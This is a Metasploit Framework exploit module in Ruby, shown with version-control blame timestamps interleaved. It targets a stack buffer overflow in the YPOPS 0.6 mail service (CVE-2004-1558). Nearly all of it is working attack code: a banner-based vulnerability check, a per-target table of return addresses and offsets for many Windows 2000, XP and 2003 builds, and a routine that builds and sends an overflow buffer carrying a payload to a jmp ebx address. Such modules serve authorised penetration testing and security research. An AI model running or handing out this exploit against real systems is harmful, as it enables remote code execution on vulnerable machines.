2007-02-18 00:10:39 +00:00
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2006-10-12 03:24:31 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = AverageRanking
|
2006-10-12 03:24:31 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Smtp
|
2006-10-12 03:24:31 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2006-10-12 03:24:31 +00:00
|
|
|
'Name' => 'YPOPS 0.6 Buffer Overflow',
|
|
|
|
'Description' => %q{
|
2010-05-09 17:45:00 +00:00
|
|
|
This module exploits a stack buffer overflow in the YPOPS POP3
|
2006-10-12 03:24:31 +00:00
|
|
|
service.
|
|
|
|
|
2010-05-09 17:45:00 +00:00
|
|
|
This is a classic stack buffer overflow for YPOPS version 0.6.
|
2006-10-12 03:24:31 +00:00
|
|
|
Possibly Affected version 0.5, 0.4.5.1, 0.4.5. Eip point to
|
|
|
|
jmp ebx opcode in ws_32.dll
|
|
|
|
},
|
2011-07-22 20:17:58 +00:00
|
|
|
'Author' => [ 'acaro <acaro[at]jervus.it>' ],
|
2006-10-12 03:24:31 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2004-1558'],
|
2009-10-12 14:39:51 +00:00
|
|
|
[ 'OSVDB', '10367'],
|
2006-10-12 03:24:31 +00:00
|
|
|
[ 'BID', '11256'],
|
|
|
|
[ 'URL', 'http://www.securiteam.com/windowsntfocus/5GP0M2KE0S.html'],
|
|
|
|
],
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Privileged' => false,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1200,
|
|
|
|
'BadChars' => "\x00\x25",
|
|
|
|
'MinNops' => 106,
|
|
|
|
},
|
2010-04-30 08:40:19 +00:00
|
|
|
'Targets' =>
|
2006-10-12 03:24:31 +00:00
|
|
|
[
|
|
|
|
[ 'Windows 2000 SP0 Italian', { 'Ret' => 0x74fe6113, 'Offset' => 503 }, ],
|
|
|
|
[ 'Windows 2000 Advanced Server Italian SP4', { 'Ret' => 0x74fe16e2, 'Offset' => 503 }, ],
|
|
|
|
[ 'Windows 2000 Advanced Server SP3 English', { 'Ret' => 0x74fe22f3, 'Offset' => 503 }, ],
|
|
|
|
[ 'Windows 2000 SP0 English', { 'Ret' => 0x75036113, 'Offset' => 503 }, ],
|
|
|
|
[ 'Windows 2000 SP1 English', { 'Ret' => 0x750317b2, 'Offset' => 503 }, ],
|
|
|
|
[ 'Windows 2000 SP2 English', { 'Ret' => 0x7503435b, 'Offset' => 503 }, ],
|
|
|
|
[ 'Windows 2000 SP3 English', { 'Ret' => 0x750322f3, 'Offset' => 503 }, ],
|
|
|
|
[ 'Windows 2000 SP4 English', { 'Ret' => 0x750316e2, 'Offset' => 503 }, ],
|
|
|
|
[ 'Windows XP SP0-SP1 English', { 'Ret' => 0x71ab1636, 'Offset' => 503 }, ],
|
|
|
|
[ 'Windows XP SP2 English', { 'Ret' => 0x71ab773b, 'Offset' => 503 }, ],
|
|
|
|
[ 'Windows 2003 SP0 English', { 'Ret' => 0x71c04202, 'Offset' => 503 }, ],
|
|
|
|
[ 'Windows 2003 SP1 English', { 'Ret' => 0x71c05fb0, 'Offset' => 503 }, ],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Sep 27 2004'))
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
connect
|
|
|
|
disconnect
|
|
|
|
|
|
|
|
banner.gsub!(/\n/, '')
|
|
|
|
|
|
|
|
if banner =~ /YahooPOPs! Simple Mail Transfer Service Ready/
|
|
|
|
print_status("Vulnerable SMTP server: #{banner}")
|
|
|
|
return Exploit::CheckCode::Detected
|
|
|
|
end
|
|
|
|
|
|
|
|
print_status("Unknown SMTP server: #{banner}")
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
pattern =
|
2006-10-12 03:24:31 +00:00
|
|
|
rand_text_alpha(target['Offset'] - payload.encoded.length) +
|
|
|
|
payload.encoded +
|
2010-04-30 08:40:19 +00:00
|
|
|
[target.ret].pack('V') +
|
2006-10-12 03:24:31 +00:00
|
|
|
"\n"
|
|
|
|
|
|
|
|
print_status("Trying #{target.name} using jmp ebx at #{"0x%.8x" % target.ret}")
|
|
|
|
|
|
|
|
sock.put(pattern)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-10-12 03:24:31 +00:00
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
2009-10-12 14:39:51 +00:00
|
|
|
end
|